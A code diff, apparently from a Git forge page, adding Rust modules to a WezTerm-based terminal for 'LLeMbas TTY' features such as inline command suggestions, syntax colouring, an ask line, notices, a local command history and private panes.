||||
highlight(pane, &options.colors, &zone, top, &mut plan);
|
||||
}
|
||||
if active && (options.suggestions || options.ai_complete) {
|
||||
ghost(
|
||||
pane, options, &zone, &lines[at], cursor, dims.cols, &mut plan,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
if let Some(row) = plan.rows.iter().find(|r| r.row == cursor.y) {
|
||||
for (col, text, _) in &row.texts {
|
||||
taken = taken.max(col + text_width(text));
|
||||
}
|
||||
}
|
||||
taken = taken.max(cursor.x + 1);
|
||||
cursor_line = Some(lines[at].clone());
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(text) = notice {
|
||||
if alt || cursor_line.is_none() {
|
||||
let (top, lines) = pane.get_lines(bottom..bottom + 1);
|
||||
let line = if top == bottom { lines.first() } else { None };
|
||||
place_notice(
|
||||
&text,
|
||||
line,
|
||||
bottom,
|
||||
0,
|
||||
dims.cols,
|
||||
&options.colors,
|
||||
&mut plan,
|
||||
);
|
||||
} else {
|
||||
place_notice(
|
||||
&text,
|
||||
cursor_line.as_ref(),
|
||||
cursor.y,
|
||||
taken,
|
||||
dims.cols,
|
||||
&options.colors,
|
||||
&mut plan,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
if plan.rows.is_empty() {
|
||||
return None;
|
||||
}
|
||||
plan.rows.sort_by_key(|r| r.row);
|
||||
Some(plan)
|
||||
}
|
||||
|
||||
/// What is drawn differently in this pane now; `None` for nothing, which is
|
||||
/// the answer for every pane until the layer turned something on.
|
||||
pub fn plan_for(pane: &Arc<dyn Pane>, active: bool) -> Option<Arc<Plan>> {
|
||||
let options = state::options();
|
||||
let pane_id = pane.pane_id();
|
||||
let notice = state::notice(pane_id);
|
||||
if !(options.suggestions || options.highlight || options.ai_complete) && notice.is_none() {
|
||||
return None;
|
||||
}
|
||||
// The pane itself, never something drawn over it (search, copy mode, the
|
||||
// ask line): those draw their own.
|
||||
let real = Mux::try_get()?.get_pane(pane_id)?;
|
||||
if Arc::as_ptr(&real) as *const () != Arc::as_ptr(pane) as *const () {
|
||||
return None;
|
||||
}
|
||||
|
||||
let cursor = pane.get_cursor_position();
|
||||
let dims = pane.get_dimensions();
|
||||
let key = PlanKey {
|
||||
seqno: pane.get_current_seqno(),
|
||||
x: cursor.x,
|
||||
y: cursor.y,
|
||||
cols: dims.cols,
|
||||
top: dims.physical_top,
|
||||
active,
|
||||
generation: state::generation(),
|
||||
};
|
||||
if let Some((known, plan)) = PLANS.lock().get(&pane_id) {
|
||||
if *known == key {
|
||||
return plan.clone();
|
||||
}
|
||||
}
|
||||
let plan = compute(pane, active, &options, notice, &cursor, &dims).map(Arc::new);
|
||||
let mut plans = PLANS.lock();
|
||||
if plans.len() > 256 {
|
||||
plans.clear();
|
||||
}
|
||||
plans.insert(pane_id, (key, plan.clone()));
|
||||
plan
|
||||
}
|
||||
|
||||
/// Hand a pane's lines to the painter, with what the terminal draws on them.
|
||||
/// Called where a pane is painted, in place of the pane's own `with_lines_mut`.
|
||||
pub fn with_lines_mut(
|
||||
pane: &Arc<dyn Pane>,
|
||||
active: bool,
|
||||
lines: Range<StableRowIndex>,
|
||||
with_lines: &mut dyn WithPaneLines,
|
||||
) {
|
||||
let plan = match plan_for(pane, active) {
|
||||
Some(plan) => plan,
|
||||
None => {
|
||||
pane.with_lines_mut(lines, with_lines);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
struct Decorated<'a> {
|
||||
with_lines: &'a mut dyn WithPaneLines,
|
||||
plan: Arc<Plan>,
|
||||
}
|
||||
|
||||
impl<'a> WithPaneLines for Decorated<'a> {
|
||||
fn with_lines_mut(&mut self, first_row: StableRowIndex, lines: &mut [&mut Line]) {
|
||||
// Copies of the rows that are drawn differently; every other row
|
||||
// is handed on as it is.
|
||||
let mut changed: Vec<(usize, Line)> = Vec::new();
|
||||
for row in &self.plan.rows {
|
||||
let offset = row.row - first_row;
|
||||
if offset < 0 || offset as usize >= lines.len() {
|
||||
continue;
|
||||
}
|
||||
let idx = offset as usize;
|
||||
let mut line: Line = (*lines[idx]).clone();
|
||||
if !row.colors.is_empty() {
|
||||
let cells = line.cells_mut_for_attr_changes_only();
|
||||
for (col, width, color) in &row.colors {
|
||||
for c in *col..(*col + *width) {
|
||||
if let Some(cell) = cells.get_mut(c) {
|
||||
cell.attrs_mut().set_foreground(*color);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
for (col, text, attr) in &row.texts {
|
||||
line.overlay_text_with_attribute(*col, text, attr.clone(), SEQ_ZERO);
|
||||
}
|
||||
line.clear_appdata();
|
||||
changed.push((idx, line));
|
||||
}
|
||||
if changed.is_empty() {
|
||||
self.with_lines.with_lines_mut(first_row, lines);
|
||||
return;
|
||||
}
|
||||
let mut ours = changed
|
||||
.iter_mut()
|
||||
.map(|(idx, line)| (*idx, line))
|
||||
.peekable();
|
||||
let mut refs: Vec<&mut Line> = Vec::with_capacity(lines.len());
|
||||
for (idx, line) in lines.iter_mut().enumerate() {
|
||||
let replaced = match ours.peek() {
|
||||
Some((at, _)) => *at == idx,
|
||||
None => false,
|
||||
};
|
||||
if replaced {
|
||||
if let Some((_, line)) = ours.next() {
|
||||
refs.push(line);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
refs.push(&mut **line);
|
||||
}
|
||||
self.with_lines.with_lines_mut(first_row, &mut refs);
|
||||
}
|
||||
}
|
||||
|
||||
pane.with_lines_mut(lines, &mut Decorated { with_lines, plan });
|
||||
}
|
||||
|
||||
/// A key that takes the suggestion shown after the cursor: Right or End takes
|
||||
/// all of it, Alt+Right one word. What is taken is sent to the shell as if it
|
||||
/// were typed; nothing runs. `false` when there is no suggestion, or the key
|
||||
/// is another: then the key goes where it always went.
|
||||
pub fn take_suggestion(
|
||||
pane: &Arc<dyn Pane>,
|
||||
key: &::window::KeyCode,
|
||||
mods: ::window::Modifiers,
|
||||
) -> bool {
|
||||
use ::window::{KeyCode, Modifiers};
|
||||
let mods = mods.remove_positional_mods();
|
||||
let arrow = matches!(key, KeyCode::RightArrow);
|
||||
let whole = (arrow || matches!(key, KeyCode::End)) && mods == Modifiers::NONE;
|
||||
let word = arrow && mods == Modifiers::ALT;
|
||||
if !whole && !word {
|
||||
return false;
|
||||
}
|
||||
let plan = match plan_for(pane, true) {
|
||||
Some(plan) => plan,
|
||||
None => return false,
|
||||
};
|
||||
let rest = match &plan.suggestion {
|
||||
Some(rest) => rest,
|
||||
None => return false,
|
||||
};
|
||||
let text = if whole {
|
||||
rest.as_str()
|
||||
} else {
|
||||
suggest::first_word(rest)
|
||||
};
|
||||
if text.is_empty() {
|
||||
return false;
|
||||
}
|
||||
pane.writer().write_all(text.as_bytes()).is_ok()
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
//! LLeMbas TTY: `wezterm.llembas`, through which the Lua layer asks the
|
||||
//! terminal for what only the terminal can draw. The layer looks for each
|
||||
//! function before calling it, so a function added here later is simply not
|
||||
//! used by an older layer, and a layer run where this is missing (the mux
|
||||
//! server, the tests) does without.
|
||||
|
||||
use super::state::{self, Color, Colors, Options};
|
||||
use crate::scripting::guiwin::GuiWin;
|
||||
use crate::termwindow::TermWindowNotif;
|
||||
use config::lua::get_or_create_sub_module;
|
||||
use mlua::{Lua, Table, UserDataRef, Value};
|
||||
use mux::{Mux, MuxNotification};
|
||||
use mux_lua::MuxPane;
|
||||
use std::time::Duration;
|
||||
use termwiz::color::ColorAttribute;
|
||||
use window::WindowOps;
|
||||
|
||||
/// A colour as the layer gives it: a number of the palette, `'#rrggbb'`, or
|
||||
/// false for none. Anything else is none: the layer has checked it already.
|
||||
fn color(value: Value) -> Color {
|
||||
match value {
|
||||
Value::Integer(n) if (0..=255).contains(&n) => Some(ColorAttribute::PaletteIndex(n as u8)),
|
||||
Value::Number(n) if n >= 0.0 && n <= 255.0 => Some(ColorAttribute::PaletteIndex(n as u8)),
|
||||
Value::String(s) => {
|
||||
let s = s.to_str().ok()?;
|
||||
let hex = s.strip_prefix('#')?;
|
||||
if hex.len() != 6 || !hex.is_ascii() {
|
||||
return None;
|
||||
}
|
||||
let r = u8::from_str_radix(&hex[0..2], 16).ok()?;
|
||||
let g = u8::from_str_radix(&hex[2..4], 16).ok()?;
|
||||
let b = u8::from_str_radix(&hex[4..6], 16).ok()?;
|
||||
Some(ColorAttribute::TrueColorWithDefaultFallback(
|
||||
(r, g, b).into(),
|
||||
))
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn colors(table: Option<Table>) -> mlua::Result<Colors> {
|
||||
let table = match table {
|
||||
Some(table) => table,
|
||||
None => return Ok(Colors::default()),
|
||||
};
|
||||
Ok(Colors {
|
||||
prefix: color(table.get("prefix")?),
|
||||
ghost: color(table.get("ghost")?),
|
||||
notice: color(table.get("notice")?),
|
||||
command: color(table.get("command")?),
|
||||
unknown: color(table.get("unknown")?),
|
||||
option: color(table.get("option")?),
|
||||
string: color(table.get("string")?),
|
||||
variable: color(table.get("variable")?),
|
||||
operator: color(table.get("operator")?),
|
||||
comment: color(table.get("comment")?),
|
||||
path: color(table.get("path")?),
|
||||
})
|
||||
}
|
||||
|
||||
pub fn register(lua: &Lua) -> anyhow::Result<()> {
|
||||
let module = get_or_create_sub_module(lua, "llembas")?;
|
||||
|
||||
// configure { suggestions =, highlight =, ai_complete =, cli =, history =,
|
||||
// history_max =, colors = { … } }
|
||||
module.set(
|
||||
"configure",
|
||||
lua.create_function(|_, table: Table| {
|
||||
let options = Options {
|
||||
suggestions: table
|
||||
.get::<_, Option<bool>>("suggestions")?
|
||||
.unwrap_or(false),
|
||||
highlight: table.get::<_, Option<bool>>("highlight")?.unwrap_or(false),
|
||||
ai_complete: table
|
||||
.get::<_, Option<bool>>("ai_complete")?
|
||||
.unwrap_or(false),
|
||||
cli: table.get::<_, Option<String>>("cli")?.unwrap_or_default(),
|
||||
history: table.get::<_, Option<bool>>("history")?.unwrap_or(false),
|
||||
history_max: table.get::<_, Option<usize>>("history_max")?.unwrap_or(0),
|
||||
colors: colors(table.get::<_, Option<Table>>("colors")?)?,
|
||||
};
|
||||
state::set_options(options);
|
||||
Ok(())
|
||||
})?,
|
||||
)?;
|
||||
|
||||
// ask_line(window, pane, { prefix =, event = }): turn the pane's line into
|
||||
// the ask line, or back when it is one already. The line the person sends
|
||||
// comes back as the event, with the window, the pane and the line.
|
||||
module.set(
|
||||
"ask_line",
|
||||
lua.create_function(
|
||||
|_, (window, pane, table): (UserDataRef<GuiWin>, UserDataRef<MuxPane>, Table)| {
|
||||
let args = super::ask::AskArgs {
|
||||
prefix: table
|
||||
.get::<_, Option<String>>("prefix")?
|
||||
.unwrap_or_default(),
|
||||
event: table.get::<_, String>("event")?,
|
||||
};
|
||||
let pane_id = pane.0;
|
||||
window
|
||||
.window
|
||||
.notify(TermWindowNotif::Apply(Box::new(move |term_window| {
|
||||
super::ask::toggle(term_window, pane_id, args);
|
||||
})));
|
||||
Ok(true)
|
||||
},
|
||||
)?,
|
||||
)?;
|
||||
|
||||
// notice(pane, text): a word for the person at the cursor's row of the
|
||||
// pane, for a moment. It takes no key and nothing has to be dismissed.
|
||||
module.set(
|
||||
"notice",
|
||||
lua.create_function(|_, (pane, text): (UserDataRef<MuxPane>, String)| {
|
||||
let pane_id = pane.0;
|
||||
let text: String = text.chars().filter(|c| !c.is_control()).take(200).collect();
|
||||
state::set_notice(pane_id, text);
|
||||
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
|
||||
// and the pane is drawn again when its time is over
|
||||
promise::spawn::spawn(async move {
|
||||
smol::Timer::after(state::NOTICE_TIME + Duration::from_millis(50)).await;
|
||||
state::changed();
|
||||
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
|
||||
})
|
||||
.detach();
|
||||
Ok(true)
|
||||
})?,
|
||||
)?;
|
||||
|
||||
// set_private(pane id, on): a private pane's commands are not remembered
|
||||
// and nothing of it is sent to LLeMbas for a completion.
|
||||
module.set(
|
||||
"set_private",
|
||||
lua.create_function(|_, (pane_id, on): (usize, bool)| {
|
||||
state::set_private(pane_id, on);
|
||||
Ok(())
|
||||
})?,
|
||||
)?;
|
||||
|
||||
// command_ended(pane, exit status or -1, directory): the shell said that a
|
||||
// command ended in this pane. The terminal remembers it for its suggestions.
|
||||
module.set(
|
||||
"command_ended",
|
||||
lua.create_function(
|
||||
|_, (pane, exit, cwd): (UserDataRef<MuxPane>, i64, Option<String>)| {
|
||||
let exit = if (0..=255).contains(&exit) {
|
||||
exit as i32
|
||||
} else {
|
||||
llembas_line::history::NO_EXIT
|
||||
};
|
||||
let cwd: String = cwd
|
||||
.unwrap_or_default()
|
||||
.chars()
|
||||
.filter(|c| !c.is_control())
|
||||
.take(1024)
|
||||
.collect();
|
||||
super::record::command_ended(pane.0, exit, cwd);
|
||||
Ok(())
|
||||
},
|
||||
)?,
|
||||
)?;
|
||||
|
||||
// clear_history(): forget every command the terminal remembered.
|
||||
module.set(
|
||||
"clear_history",
|
||||
lua.create_function(|_, _: ()| {
|
||||
state::history_clear();
|
||||
Ok(())
|
||||
})?,
|
||||
)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
//! LLeMbas TTY: the part of LLeMbas that the terminal itself draws.
|
||||
//!
|
||||
//! The LLeMbas layer is Lua (`llembas/lua/`, built in by `config::llembas`).
|
||||
//! What Lua cannot do is draw on a pane or take its keys, and that is here:
|
||||
//!
|
||||
//! - [`ask`]: the ask line, in place of the shell's own line;
|
||||
//! - [`decorate`]: what is drawn on the shell's input line when a pane is
|
||||
//! painted - the suggestion after the cursor, the colours of the command
|
||||
//! line, a word from the terminal - and the key that takes a suggestion;
|
||||
//! - [`record`]: remembering a command that ran, for the suggestions;
|
||||
//! - [`complete`]: asking LLeMbas for the rest of a line;
|
||||
//! - [`lua`]: `wezterm.llembas`, through which the layer asks for it;
|
||||
//! - [`state`]: what the layer said is on, and what outlives one pane.
|
||||
//!
|
||||
//! What is decided about a line of text (the editor, the input line as read
|
||||
//! from the screen, history, suggestions, colours) is the crate
|
||||
//! `llembas-line`, which knows nothing of a window and is where the tests
|
||||
//! are. The files here are the thin part between it and the terminal.
|
||||
//!
|
||||
//! Nothing here starts a process, reads a pane or writes a file until the
|
||||
//! layer said what is on. With nothing on (no layer, or a terminal started
|
||||
//! with `--skip-config`) a pane is painted exactly as upstream paints it.
|
||||
|
||||
pub mod ask;
|
||||
pub mod complete;
|
||||
pub mod decorate;
|
||||
pub mod lua;
|
||||
pub mod record;
|
||||
pub mod state;
|
||||
@@ -0,0 +1,112 @@
|
||||
//! LLeMbas TTY: remembering a command that ran, for the suggestions.
|
||||
//!
|
||||
//! The shell integration says that a command ended (the pane's status record,
|
||||
//! which the layer reads). The command's text is then read from the pane's
|
||||
//! own screen: the input line the shell marked. Nothing typed is followed,
|
||||
//! so nothing typed while a program asked for a password can be taken: such
|
||||
//! text is never on the screen.
|
||||
|
||||
use super::state;
|
||||
use llembas_line::history::Entry;
|
||||
use mux::pane::{Pane, PaneId};
|
||||
use mux::Mux;
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, SystemTime, UNIX_EPOCH};
|
||||
use termwiz::cell::SemanticType;
|
||||
use wezterm_term::{SemanticZone, StableRowIndex};
|
||||
|
||||
/// An input line of more rows than this is no command to remember.
|
||||
const MAX_ROWS: StableRowIndex = 8;
|
||||
|
||||
/// The columns of a zone on one of its rows.
|
||||
fn cols_for_row(zone: &SemanticZone, row: StableRowIndex) -> std::ops::Range<usize> {
|
||||
if row < zone.start_y || row > zone.end_y {
|
||||
0..0
|
||||
} else if zone.start_y == zone.end_y {
|
||||
zone.start_x.min(zone.end_x)..zone.start_x.max(zone.end_x).saturating_add(1)
|
||||
} else if row == zone.end_y {
|
||||
0..zone.end_x.saturating_add(1)
|
||||
} else if row == zone.start_y {
|
||||
zone.start_x..usize::MAX
|
||||
} else {
|
||||
0..usize::MAX
|
||||
}
|
||||
}
|
||||
|
||||
/// The text of a zone: its rows joined, with a line break where a row ended
|
||||
/// and was not carried on by wrapping.
|
||||
fn zone_text(pane: &Arc<dyn Pane>, zone: &SemanticZone) -> String {
|
||||
let (top, lines) = pane.get_lines(zone.start_y..zone.end_y + 1);
|
||||
let mut text = String::new();
|
||||
let mut wrapped = true;
|
||||
for (i, line) in lines.iter().enumerate() {
|
||||
let row = top + i as StableRowIndex;
|
||||
let cols = cols_for_row(zone, row);
|
||||
if cols.start >= cols.end {
|
||||
continue;
|
||||
}
|
||||
if !wrapped && !text.is_empty() {
|
||||
text.push('\n');
|
||||
}
|
||||
text.push_str(&line.columns_as_str(cols));
|
||||
wrapped = line.last_cell_was_wrapped();
|
||||
}
|
||||
text.trim_end().to_string()
|
||||
}
|
||||
|
||||
fn remember(pane_id: PaneId, exit: i32, cwd: String) {
|
||||
if !state::options().history || state::is_private(pane_id) {
|
||||
return;
|
||||
}
|
||||
let pane = match Mux::try_get().and_then(|mux| mux.get_pane(pane_id)) {
|
||||
Some(pane) => pane,
|
||||
None => return,
|
||||
};
|
||||
if pane.is_alt_screen_active() {
|
||||
return;
|
||||
}
|
||||
let zones = match pane.get_semantic_zones() {
|
||||
Ok(zones) => zones,
|
||||
Err(_) => return,
|
||||
};
|
||||
// The command that ended is the last input line that something follows:
|
||||
// its output, or the next prompt. (An input line that nothing follows is
|
||||
// one still being typed.)
|
||||
let mut found = None;
|
||||
for (i, zone) in zones.iter().enumerate().rev() {
|
||||
if zone.semantic_type == SemanticType::Input && i + 1 < zones.len() {
|
||||
found = Some(*zone);
|
||||
break;
|
||||
}
|
||||
}
|
||||
let zone = match found {
|
||||
Some(zone) => zone,
|
||||
None => return,
|
||||
};
|
||||
if zone.end_y - zone.start_y >= MAX_ROWS
|
||||
|| !state::first_time(pane_id, zone.start_y, zone.start_x)
|
||||
{
|
||||
return;
|
||||
}
|
||||
let command = zone_text(&pane, &zone);
|
||||
let time = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.map(|d| d.as_secs())
|
||||
.unwrap_or(0);
|
||||
state::history_add(Entry {
|
||||
command,
|
||||
exit,
|
||||
cwd,
|
||||
time,
|
||||
});
|
||||
}
|
||||
|
||||
/// A command ended in this pane. Its text is read a moment later, when the
|
||||
/// shell has drawn its next prompt, so that the line is seen to be complete.
|
||||
pub fn command_ended(pane_id: PaneId, exit: i32, cwd: String) {
|
||||
promise::spawn::spawn(async move {
|
||||
smol::Timer::after(Duration::from_millis(150)).await;
|
||||
remember(pane_id, exit, cwd);
|
||||
})
|
||||
.detach();
|
||||
}
|
||||
@@ -0,0 +1,238 @@
|
||||
//! LLeMbas TTY: what the layer said is on, and what outlives one pane.
|
||||
|
||||
use llembas_line::history::{self, Entry, History};
|
||||
use mux::pane::PaneId;
|
||||
use parking_lot::Mutex;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use std::path::PathBuf;
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
use std::time::{Duration, Instant};
|
||||
use termwiz::color::ColorAttribute;
|
||||
use wezterm_term::StableRowIndex;
|
||||
|
||||
/// How long a word from the terminal stays at the cursor's row.
|
||||
pub const NOTICE_TIME: Duration = Duration::from_secs(4);
|
||||
|
||||
/// A colour of the layer's options: `None` leaves a cell as it was.
|
||||
pub type Color = Option<ColorAttribute>;
|
||||
|
||||
/// The colours the terminal's own drawing uses. They come from the layer's
|
||||
/// options (`colors`), where each is a number of the colour scheme's palette
|
||||
/// by default, so that every one follows the theme.
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
pub struct Colors {
|
||||
pub prefix: Color,
|
||||
pub ghost: Color,
|
||||
pub notice: Color,
|
||||
pub command: Color,
|
||||
pub unknown: Color,
|
||||
pub option: Color,
|
||||
pub string: Color,
|
||||
pub variable: Color,
|
||||
pub operator: Color,
|
||||
pub comment: Color,
|
||||
pub path: Color,
|
||||
}
|
||||
|
||||
impl Default for Colors {
|
||||
fn default() -> Self {
|
||||
// the same as M.COLORS in llembas/lua/llembas/core.lua
|
||||
let palette = |n: u8| Some(ColorAttribute::PaletteIndex(n));
|
||||
Colors {
|
||||
prefix: palette(6),
|
||||
ghost: palette(8),
|
||||
notice: palette(3),
|
||||
command: palette(2),
|
||||
unknown: None,
|
||||
option: None,
|
||||
string: palette(3),
|
||||
variable: palette(6),
|
||||
operator: palette(5),
|
||||
comment: palette(8),
|
||||
path: palette(4),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// What the layer said is on. Until it says anything, nothing is: a terminal
|
||||
/// started without the layer draws nothing of ours.
|
||||
#[derive(Debug, Clone, Default, PartialEq)]
|
||||
pub struct Options {
|
||||
pub suggestions: bool,
|
||||
pub highlight: bool,
|
||||
pub ai_complete: bool,
|
||||
/// The path of the LLeMbas CLI; empty when there is none.
|
||||
pub cli: String,
|
||||
pub history: bool,
|
||||
pub history_max: usize,
|
||||
pub colors: Colors,
|
||||
}
|
||||
|
||||
/// The terminal's own history of commands, once it was needed.
|
||||
struct Commands {
|
||||
history: History,
|
||||
max: usize,
|
||||
}
|
||||
|
||||
lazy_static::lazy_static! {
|
||||
static ref OPTIONS: Mutex<Options> = Mutex::new(Options::default());
|
||||
/// Earlier questions of the ask line, for this run of the terminal only.
|
||||
static ref QUESTIONS: Mutex<Vec<String>> = Mutex::new(Vec::new());
|
||||
/// Panes the person marked private: nothing of them is remembered or sent.
|
||||
static ref PRIVATE: Mutex<HashSet<PaneId>> = Mutex::new(HashSet::new());
|
||||
/// A word for the person at the cursor's row of a pane, and until when.
|
||||
static ref NOTICES: Mutex<HashMap<PaneId, (String, Instant)>> = Mutex::new(HashMap::new());
|
||||
static ref COMMANDS: Mutex<Option<Commands>> = Mutex::new(None);
|
||||
/// Where the command last remembered for a pane stood on its screen.
|
||||
static ref REMEMBERED: Mutex<HashMap<PaneId, (StableRowIndex, usize)>> =
|
||||
Mutex::new(HashMap::new());
|
||||
}
|
||||
|
||||
/// Goes up whenever something changed that what is drawn depends on and the
|
||||
/// pane's own content does not show: an option, a notice, the history, an
|
||||
/// answer that arrived.
|
||||
static GENERATION: AtomicU64 = AtomicU64::new(0);
|
||||
|
||||
pub fn generation() -> u64 {
|
||||
GENERATION.load(Ordering::Relaxed)
|
||||
}
|
||||
|
||||
pub fn changed() {
|
||||
GENERATION.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
pub fn options() -> Options {
|
||||
OPTIONS.lock().clone()
|
||||
}
|
||||
|
||||
pub fn set_options(options: Options) {
|
||||
*OPTIONS.lock() = options;
|
||||
changed();
|
||||
}
|
||||
|
||||
pub fn questions() -> Vec<String> {
|
||||
QUESTIONS.lock().clone()
|
||||
}
|
||||
|
||||
pub fn remember_question(line: &str) {
|
||||
llembas_line::editor::remember(&mut QUESTIONS.lock(), line);
|
||||
}
|
||||
|
||||
pub fn set_private(pane_id: PaneId, on: bool) {
|
||||
let mut private = PRIVATE.lock();
|
||||
if on {
|
||||
private.insert(pane_id);
|
||||
} else {
|
||||
private.remove(&pane_id);
|
||||
}
|
||||
drop(private);
|
||||
changed();
|
||||
}
|
||||
|
||||
pub fn is_private(pane_id: PaneId) -> bool {
|
||||
PRIVATE.lock().contains(&pane_id)
|
||||
}
|
||||
|
||||
pub fn set_notice(pane_id: PaneId, text: String) {
|
||||
NOTICES
|
||||
.lock()
|
||||
.insert(pane_id, (text, Instant::now() + NOTICE_TIME));
|
||||
changed();
|
||||
}
|
||||
|
||||
/// The word for a pane, while its time lasts.
|
||||
pub fn notice(pane_id: PaneId) -> Option<String> {
|
||||
let mut notices = NOTICES.lock();
|
||||
let live = match notices.get(&pane_id) {
|
||||
Some((text, until)) if Instant::now() < *until => Some(text.clone()),
|
||||
Some(_) => None,
|
||||
None => return None,
|
||||
};
|
||||
if live.is_none() {
|
||||
notices.remove(&pane_id);
|
||||
}
|
||||
live
|
||||
}
|
||||
|
||||
/// The file of the terminal's own command history: in its own data
|
||||
/// directory, the person's alone.
|
||||
pub fn history_path() -> PathBuf {
|
||||
config::DATA_DIR.join("command-history")
|
||||
}
|
||||
|
||||
/// Run `f` on the history, reading the file the first time and whenever the
|
||||
/// size it is kept at changed.
|
||||
fn with_commands<R>(f: impl FnOnce(&mut History) -> R) -> R {
|
||||
let max = OPTIONS.lock().history_max;
|
||||
let mut commands = COMMANDS.lock();
|
||||
let stale = match commands.as_ref() {
|
||||
Some(c) => c.max != max,
|
||||
None => true,
|
||||
};
|
||||
if stale {
|
||||
let history = match history::load(&history_path(), max) {
|
||||
Ok(history) => history,
|
||||
Err(err) => {
|
||||
log::warn!("LLeMbas: the command history could not be read: {:#}", err);
|
||||
History::new(max)
|
||||
}
|
||||
};
|
||||
*commands = Some(Commands { history, max });
|
||||
}
|
||||
match commands.as_mut() {
|
||||
Some(c) => f(&mut c.history),
|
||||
None => f(&mut History::new(0)),
|
||||
}
|
||||
}
|
||||
|
||||
/// The rest of the newest command that starts with what is typed.
|
||||
pub fn history_suggest(typed: &str) -> Option<String> {
|
||||
with_commands(|history| history.suggest(typed).map(|rest| rest.to_string()))
|
||||
}
|
||||
|
||||
/// Remember a command that ran, in memory and in the file.
|
||||
pub fn history_add(entry: Entry) {
|
||||
let kept = with_commands(|history| {
|
||||
if history.add(entry.clone()) {
|
||||
history.entries().last().cloned()
|
||||
} else {
|
||||
None
|
||||
}
|
||||
});
|
||||
if let Some(kept) = kept {
|
||||
if let Err(err) = history::append(&history_path(), &kept) {
|
||||
log::warn!(
|
||||
"LLeMbas: the command history could not be written: {:#}",
|
||||
err
|
||||
);
|
||||
}
|
||||
changed();
|
||||
}
|
||||
}
|
||||
|
||||
/// Forget every command: in memory, and the file.
|
||||
pub fn history_clear() {
|
||||
with_commands(|history| history.clear());
|
||||
if let Err(err) = history::remove(&history_path()) {
|
||||
log::warn!(
|
||||
"LLeMbas: the command history could not be removed: {:#}",
|
||||
err
|
||||
);
|
||||
}
|
||||
changed();
|
||||
}
|
||||
|
||||
/// Is this the first time the command at this place of the pane's screen is
|
||||
/// remembered? (The shell says once that a command ended; this guards against
|
||||
/// taking the command before it a second time.)
|
||||
pub fn first_time(pane_id: PaneId, row: StableRowIndex, col: usize) -> bool {
|
||||
let mut remembered = REMEMBERED.lock();
|
||||
if remembered.get(&pane_id) == Some(&(row, col)) {
|
||||
return false;
|
||||
}
|
||||
if remembered.len() > 512 {
|
||||
remembered.clear();
|
||||
}
|
||||
remembered.insert(pane_id, (row, col));
|
||||
true
|
||||
}
|
||||
@@ -41,6 +41,8 @@ mod download;
|
||||
mod frontend;
|
||||
mod glyphcache;
|
||||
mod inputmap;
|
||||
// LLeMbas TTY: what the terminal itself draws for the LLeMbas layer
|
||||
mod llembas;
|
||||
mod overlay;
|
||||
mod quad;
|
||||
mod renderstate;
|
||||
@@ -1209,6 +1211,8 @@ fn run() -> anyhow::Result<()> {
|
||||
// headless mux server.
|
||||
config::lua::add_context_setup_func(window_funcs::register);
|
||||
config::lua::add_context_setup_func(crate::scripting::register);
|
||||
// LLeMbas TTY: `wezterm.llembas`, for the LLeMbas layer
|
||||
config::lua::add_context_setup_func(crate::llembas::lua::register);
|
||||
config::lua::add_context_setup_func(crate::stats::register);
|
||||
|
||||
stats::Stats::init()?;
|
||||
|
||||
@@ -333,6 +333,17 @@ impl super::TermWindow {
|
||||
_ => OnlyKeyBindings::No,
|
||||
};
|
||||
|
||||
// LLeMbas TTY: a key that no binding took may take the suggestion
|
||||
// shown after the cursor (Right, End, Alt+Right); otherwise it goes on
|
||||
// to the pane as always
|
||||
if is_down
|
||||
&& only_key_bindings == OnlyKeyBindings::No
|
||||
&& crate::llembas::decorate::take_suggestion(pane, keycode, raw_modifiers)
|
||||
{
|
||||
context.invalidate();
|
||||
return true;
|
||||
}
|
||||
|
||||
if only_key_bindings == OnlyKeyBindings::No {
|
||||
let config = &self.config;
|
||||
|
||||
|
||||
@@ -565,7 +565,15 @@ impl crate::TermWindow {
|
||||
}
|
||||
}
|
||||
|
||||
pos.pane.with_lines_mut(stable_range.clone(), &mut render);
|
||||
// LLeMbas TTY: the pane's lines go to the painter through what the
|
||||
// terminal draws on the shell's input line (a suggestion, colours);
|
||||
// with none of that on, this is the pane's own with_lines_mut
|
||||
crate::llembas::decorate::with_lines_mut(
|
||||
&pos.pane,
|
||||
pos.is_active,
|
||||
stable_range.clone(),
|
||||
&mut render,
|
||||
);
|
||||
if let Some(error) = render.error.take() {
|
||||
return Err(error).context("error while calling with_lines_mut");
|
||||
}
|
||||
|
||||
Reference in new issue
Block a user